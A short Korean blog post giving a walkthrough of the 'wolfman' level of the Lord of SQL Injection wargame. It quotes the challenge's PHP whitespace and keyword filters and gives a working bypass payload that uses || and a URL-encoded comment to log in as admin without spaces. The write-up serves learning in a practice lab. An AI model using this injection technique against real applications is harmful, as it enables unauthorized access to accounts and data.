본문 바로가기
war game/웹 워게임(los)

load of sql injection wolfman

by 강깅꽁 2016. 9. 6.
반응형

이번 문제는 화이트 스페이스가 없을때 필터를 어떻게 할 것인가의 문제이다.


if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 
  
$query "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"


필터 구분에서 ws를 필터하고 있다. 또한 

if($result['id'] == 'admin'solve("wolfman"); 

구문을 이용하여 id가 admin인지 확인한다.


즉 쿼리 문에서 id='guest' and pw'' 구문을 만들어서 앞에 문장을 거짓으로 만들고

||id='admin'%23을 만들면 클리어!


주의 or을 쓸경우 orid='admin'이 되므로  or과 id를 구분짓지 못한다 즉 or대신 ||또는 아스키코드 값으로 표시하면 된다.